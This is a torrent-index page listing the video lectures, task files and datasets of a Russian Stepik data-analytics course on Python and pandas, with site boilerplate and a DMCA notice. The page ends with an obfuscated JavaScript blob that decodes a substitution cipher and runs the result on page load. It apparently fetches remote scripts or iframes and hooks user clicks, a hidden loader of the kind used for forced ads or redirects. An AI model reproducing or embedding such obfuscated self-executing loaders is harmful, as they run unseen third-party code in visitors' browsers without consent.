[Stepic] Твой путь в мир Data Analytics. Часть 1 [Анатолий Карпов]

mp4   Hot:129   Size:6.36 GB   Created:2021-12-11 01:06:31   Update:2024-11-01 15:35:28  

File List

  • 4/Задания/Минипроект/4.1 Сбор файлов в датафрэйм.mp4 232.74 MB
    1/Задания/1.1 Переменные.mp4 29.89 MB
    1/Задания/1.2 Список.mp4 56.05 MB
    1/Задания/1.3 Метод append.mp4 25.32 MB
    1/Задания/1.4 Петля for.mp4 54.79 MB
    1/Задания/1.5 Условия.mp4 91.74 MB
    1/Задания/1.6 Делимость нацело.mp4 31.9 MB
    1/Задания/1.7 Вложенные конструкции.mp4 26.44 MB
    1/Задания/Задания.txt 3.33 KB
    1/Лекции/1.1. Знакомство Jupyter Notebook.mp4 132.87 MB
    1/Лекции/1.2. Переменные - строки, числа, списки.mp4 122.14 MB
    1/Лекции/1.3. Подробнее о списках.mp4 95.38 MB
    1/Лекции/1.4. Конструкция IF ELSE.mp4 109.42 MB
    1/Лекции/1.5. Метод строк FORMAT.mp4 44.42 MB
    1/Лекции/1.6. Конструкция FOR.mp4 50.29 MB
    1/Лекции/1.7. Словари.mp4 64.66 MB
    2/Задания/2_taxi_nyc.csv 2.37 MB
    2/Задания/2.1 Считывание датасэта.mp4 17.08 MB
    2/Задания/2.2 Форма датафрэйма.mp4 38.87 MB
    2/Задания/2.3 Типы данных колонок.mp4 24.76 MB
    2/Задания/2.4 Переименование колонок.mp4 64.11 MB
    2/Задания/2.5 Распределение значений в колонке.mp4 22.29 MB
    2/Задания/2.6 Сумма.mp4 2.97 MB
    2/Задания/2.7 Расчёт для группы.mp4 9.07 MB
    2/Задания/2.8 Индекс крайних значений.mp4 4.45 MB
    2/Задания/2.9 Группировка по нескольким колонкам.mp4 10.12 MB
    2/Задания/2.10 Сортировка значений.mp4 16.86 MB
    2/Задания/2.11 Создание функций.mp4 38.84 MB
    2/Задания/Задания.txt 6.44 KB
    2/Задания/Минипроект/2.1 Первый взгляд на данные.mp4 26.17 MB
    2/Задания/Минипроект/2.2 Объём датафрэйма.mp4 3.18 MB
    2/Задания/Минипроект/2.3 Представленные в таблице типы данных.mp4 11.8 MB
    2/Задания/Минипроект/2.4 Переименование колонок.mp4 24.9 MB
    2/Задания/Минипроект/2.5 Поиск стран с наибольшим числом броней.mp4 11.82 MB
    2/Задания/Минипроект/2.6 Средняя продолжительность брони.mp4 11.31 MB
    2/Задания/Минипроект/2.7 Число несовпадающих в заказах номеров.mp4 13.62 MB
    2/Задания/Минипроект/2.8 Самые успешные месяцы.mp4 7.48 MB
    2/Задания/Минипроект/2.9 Месяцы с наибольшим числом отмен.mp4 18.45 MB
    2/Задания/Минипроект/2.10 Среднее число людей разных возрастных групп.mp4 7.17 MB
    2/Задания/Минипроект/2.11 Среднее число детей.mp4 17.93 MB
    2/Задания/Минипроект/2.12 Коэффициент оттока в разных группах клиентов.mp4 27.68 MB
    2/Задания/Минипроект/Задания.txt 2.68 KB
    2/Задания/Минипроект/Описание.txt 2.27 KB
    2/Задания/Минипроект/bookings.csv 11.65 MB
    2/Лекции/2.1. Считывание данных.mp4 61.36 MB
    2/Лекции/2.2. Методы и атрибуты DataFrame, метод Rename.mp4 89.77 MB
    2/Лекции/2.3. Группировка, агрегация, сортировка данных.mp4 112.4 MB
    2/Лекции/2.4. Способы самопроверки при анализе данных.mp4 41.42 MB
    2/Лекции/2.5. Автоматизация скучной работы.mp4 51.51 MB
    3/Задания/3.1 Разделение строк.mp4 28.24 MB
    3/Задания/3.2 Фильтрация датафрэйма по нескольким условиям.mp4 21.2 MB
    3/Задания/3.3 Переименование колонок.mp4 16.32 MB
    3/Задания/3.4 Создание колонки.mp4 3.44 MB
    3/Задания/3.5 Подсчёт уникальных значений.mp4 4.9 MB
    3/Задания/3.6 Объединение датафрэймов.mp4 31.29 MB
    3/Задания/3.7 Функция, агрегирующая данные из файла.mp4 34.35 MB
    3/Задания/3.8 Распарсивание даты.mp4 18.72 MB
    3/Задания/3.9 Поиск самой популярной платформы.mp4 34.61 MB
    3/Задания/3.10 Распределение оценок водителей.mp4 25.76 MB
    3/Задания/3.11 Дебаг графика.mp4 22.17 MB
    3/Задания/3.12 Анализ распределения оценок клиентов.mp4 21.32 MB
    3/Задания/Задания.txt 6.97 KB
    3/Задания/companies.csv 17.84 KB
    3/Задания/task2.png 8.69 KB
    3/Задания/task3.png 11.24 KB
    3/Задания/task6.png 10.78 KB
    3/Задания/task7.png 20.66 KB
    3/Задания/task11.jpg 15.23 KB
    3/Задания/taxi_peru.csv 6.3 MB
    3/Задания/Минипроект/3.1 Число платформ.mp4 44.9 MB
    3/Задания/Минипроект/3.2 Топовые клиенты.mp4 96.71 MB
    3/Задания/Минипроект/3.3 Топовая платформа.mp4 7.24 MB
    3/Задания/Минипроект/3.4 Предпочитаемая премиумными клиентами платформа.mp4 12.71 MB
    3/Задания/Минипроект/3.5 Распределение возраста клиентов в зависимости от премиумности.mp4 48.23 MB
    3/Задания/Минипроект/3.6 Анализ распределения клиентов от числа успешных операций.mp4 14.39 MB
    3/Задания/Минипроект/3.7 Визуализация распределения числа успешных операций от возраста.mp4 34.66 MB
    3/Задания/Минипроект/Задания.txt 1.35 KB
    3/Задания/Минипроект/Описание.txt 376 B
    3/Задания/Минипроект/logs.csv 132.88 KB
    3/Задания/Минипроект/user_data.csv 45.47 KB
    3/Лекции/3.1. Роль аналитика в команде.mp4 50.69 MB
    3/Лекции/3.2. Предподготовка данных.mp4 31.07 MB
    3/Лекции/3.3. Метод apply для трансформации колонок.mp4 51.91 MB
    3/Лекции/3.4. Lambda функции для быстрых вычислений.mp4 39.93 MB
    3/Лекции/3.5. Приступаем к аналитике.mp4 164.84 MB
    3/Лекции/3.6. Объединение данных, метод merge.mp4 83.89 MB
    3/Лекции/3.7. От данных к метрикам.mp4 41.21 MB
    3/Лекции/3.8. Визуализация как метод исследования данных.mp4 102.09 MB
    3/Лекции/Статья.txt 32 B
    4/Задания/4.1 Форматирование строки.mp4 17.08 MB
    4/Задания/4.2 Подсчёт числа пропущенных значений.mp4 12.57 MB
    4/Задания/4.3 Типы данных колонок.mp4 6.56 MB
    4/Задания/4.4 Конвертация типов.mp4 20.61 MB
    4/Задания/4.5 Удаление колонок.mp4 24.66 MB
    4/Задания/4.6 Удаление дупликатов.mp4 25.18 MB
    4/Задания/4.7 Управление циклом.mp4 20.91 MB
    4/Задания/4.8 Конвертация во время.mp4 47.26 MB
    4/Задания/4.9 Определение опаздывающих водителей.mp4 46.38 MB
    4/Задания/4.10 Извлечение месяца и дня недели.mp4 27.01 MB
    4/Задания/4.11 Поиск месяца с минимальным числом заказов.mp4 14.76 MB
    4/Задания/4.12 Поиск дня недели с минимальным числом заказов.mp4 29.4 MB
    4/Задания/4.13 Анализ MAU.mp4 51.56 MB
    4/Задания/Задания.txt 6.28 KB
    4/Задания/task2_1.png 8.28 KB
    4/Задания/task2_2.png 3.1 KB
    4/Задания/taxi_peru.csv 6.3 MB
    conspect_python.html 4.47 MB
    4/Задания/Минипроект/4.2 Использование дополнительной библиотеки.mp4 105.41 MB
    4/Задания/Минипроект/4.3 Топ клиент по числу покупок.mp4 11.17 MB
    4/Задания/Минипроект/4.4 Топ 10 проданных товаров.mp4 64.98 MB
    4/Задания/Минипроект/4.5 Распределение продаж по дням.mp4 10.43 MB
    4/Задания/Минипроект/4.6 Поиск повторных покупок.mp4 9.63 MB
    4/Задания/Минипроект/Задания.txt 1.25 KB
    4/Задания/Минипроект/Описание.txt 1.68 KB
    4/Задания/Минипроект/data.zip 20.32 KB
    4/Лекции/4.1. Модуль os и прием list comprehension.mp4 65.89 MB
    4/Лекции/4.2. Считывание данных при помощи open().readlines().mp4 59.36 MB
    4/Лекции/4.3. Как прочитать только нужную часть файла.mp4 115.02 MB
    4/Лекции/4.4. Типы данных и работа с датой.mp4 70.72 MB
    5/Задания/5.1 Чтение сжатых файлов.mp4 10.49 MB
    5/Задания/5.2 Удаление дупликатов.mp4 12.43 MB
    5/Задания/5.3 Подсчёт удалённых заказов.mp4 7.07 MB
    5/Задания/5.4 Отбор строк.mp4 3.84 MB
    5/Задания/5.5 Поиск топовых покупателей.mp4 39.43 MB
    5/Задания/5.6 Отбор информации по топовым покупателям.mp4 7.05 MB
    5/Задания/5.7 Самый часто заказываемый товар.mp4 9.47 MB
    5/Задания/5.8 Подсчёт прибыли.mp4 26.01 MB
    5/Задания/5.9 Самые прибыльные заказы.mp4 18.03 MB
    5/Задания/Задания.txt 4.21 KB
    5/Задания/data.csv.zip 7.2 MB
    5/Задания/Минипроект/5.1 Первый взгляд на данные.mp4 16.57 MB
    5/Задания/Минипроект/5.2 Распределение значений.mp4 15.46 MB
    5/Задания/Минипроект/5.3 Число транзакций по каждому пользователю.mp4 23.86 MB
    5/Задания/Минипроект/5.4 Сводная таблица.mp4 76.88 MB
    5/Задания/Минипроект/5.5 Поиск ошибки по графику.mp4 24.53 MB
    5/Задания/Минипроект/5.6 Исправление ошибки.mp4 18.52 MB
    5/Задания/Минипроект/Задания.txt 1.77 KB
    5/Задания/Минипроект/Описание.txt 334 B
    5/Задания/Минипроект/transaction_data_updated.csv 259.51 KB
    5/Задания/Минипроект/transaction_data.csv 250.24 KB
    5/Лекции/5.1. Предобработка данных и разведывательный анализ.mp4 124.92 MB
    5/Лекции/5.2. Рассчитываем CTR.mp4 51.33 MB
    5/Лекции/5.3. Ищем баги в аналитических логах.mp4 53.08 MB
    5/Лекции/5.4. Процентили и медиана распределения.mp4 22.86 MB
    5/Лекции/5.5. Составные запросы при фильтрации данных.mp4 42 MB
    6/Задания/6.1 Скользящее среднее.mp4 30.3 MB
    6/Задания/6.2 Размер окна и сглаживание.mp4 57.99 MB
    6/Задания/6.3 Документация скользящего окна.mp4 54 MB
    6/Задания/6.4 Экспоненциально взвешенное окно.mp4 15.41 MB
    6/Задания/6.5 Сравнение скользящего и экспоненциального окон.mp4 53.32 MB
    6/Задания/6.6 Преобразование во время.mp4 25.9 MB
    6/Задания/6.7 Разделение на равные промежутки.mp4 32.96 MB
    6/Задания/6.8 Спецификация интервалов.mp4 39.15 MB
    6/Задания/Задания.txt 7.35 KB
    6/Задания/avocado_full.csv 1.83 MB
    6/Задания/avocado_mean.csv 4.92 KB
    6/Задания/delays.csv 11.61 KB
    6/Задания/task3.jpg 47.16 KB
    6/Задания/Минипроект/6.1 Среднее количество событий по объявлениям.mp4 57.92 MB
    6/Задания/Минипроект/6.2 Распределение показов.mp4 40.86 MB
    6/Задания/Минипроект/6.3 Сглаживание ряда скользящим средним.mp4 30.96 MB
    6/Задания/Минипроект/6.4 Поиск аномального дня по графику.mp4 32.84 MB
    6/Задания/Минипроект/6.5 Поиск аномального объявления.mp4 86.91 MB
    6/Задания/Минипроект/6.6 Промежуток между созданием кабинета и запуском рекламы.mp4 38.86 MB
    6/Задания/Минипроект/6.7 Вычисление конверсии.mp4 26.97 MB
    6/Задания/Минипроект/6.8 Распределение клиентов по промежутку между регистрацией и запуском рекламы.mp4 24.87 MB
    6/Задания/Минипроект/6.9 График распределения промежутков до запуска первой рекламы.mp4 9.68 MB
    6/Задания/Минипроект/Задания.txt 3.05 KB
    6/Задания/Минипроект/Описание.txt 1.23 KB
    6/Задания/Минипроект/ads.zip 4.21 MB
    6/Лекции/6.1 Зачем нужна визуализация данных.mp4 65.09 MB
    6/Лекции/6.2 Скользящее среднее и оконные функции.mp4 95.61 MB
    6/Лекции/6.3 Кастомизация графиков.mp4 93.96 MB
    6/Лекции/6.4 Интерактивные графики в Plotly.mp4 39.68 MB
    6/Лекции/6.5 Гистограммы и Bar Chart.mp4 65.09 MB
    7/Задания/7.1 Загрузка через requests.mp4 31.27 MB
    7/Задания/7.2 Вывод значений по условию.mp4 30.49 MB
    7/Задания/7.3 Подсчёт присутствующих значений.mp4 16.15 MB
    7/Задания/7.4 Обработка ошибок.mp4 32.15 MB
    7/Задания/7.5 Использование телеграма.mp4 59.61 MB
    7/Задания/Задания.txt 2.73 KB
    7/Задания/karpov_courses_test.csv 792 B
    7/Задания/sample_ads.csv 306 B
    7/Задания/table - Лист1.csv 90 B
    7/Задания/Минипроект/7.1 Посещения сайта ботами и пользователями.mp4 185.18 MB
    7/Задания/Минипроект/7.2 Вывод значений по условию.mp4 30.49 MB
    7/Задания/Минипроект/7.3 Браузер с наибольшей долей посещений от ботов.mp4 32.77 MB
    7/Задания/Минипроект/7.4 Рассчёт процента посещения сайта пользователями с safari.mp4 16.67 MB
    7/Задания/Минипроект/7.5 Отправка датафрэйма на гуглдиск.mp4 49.12 MB
    7/Задания/Минипроект/7.5 Отправка сообщений в вк.mp4 56.18 MB
    7/Задания/Минипроект/7.6 Считывание данных с гуглдиска.mp4 20.64 MB
    7/Задания/Минипроект/Задания.txt 3.67 KB
    7/Задания/Минипроект/step_1_lesson_7.csv 165 B
    7/Задания/Минипроект/step_2_lesson_7.csv 418 B
    7/Задания/Минипроект/step_3_lesson_7.csv 830 B
    7/Задания/Минипроект/step_4_lesson_7.csv 830 B
    7/Лекции/7.1 API Вконтакте.mp4 69.1 MB
    7/Лекции/7.2 Библиотека vk_api.mp4 157.99 MB
    7/Лекции/7.3 Google doc API.mp4 54.11 MB
    7/Лекции/7.4 API Яндекс метрики.mp4 109.02 MB

Download Info

  • Tips

    “[Stepic] Твой путь в мир Data Analytics. Часть 1 [Анатолий Карпов]” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();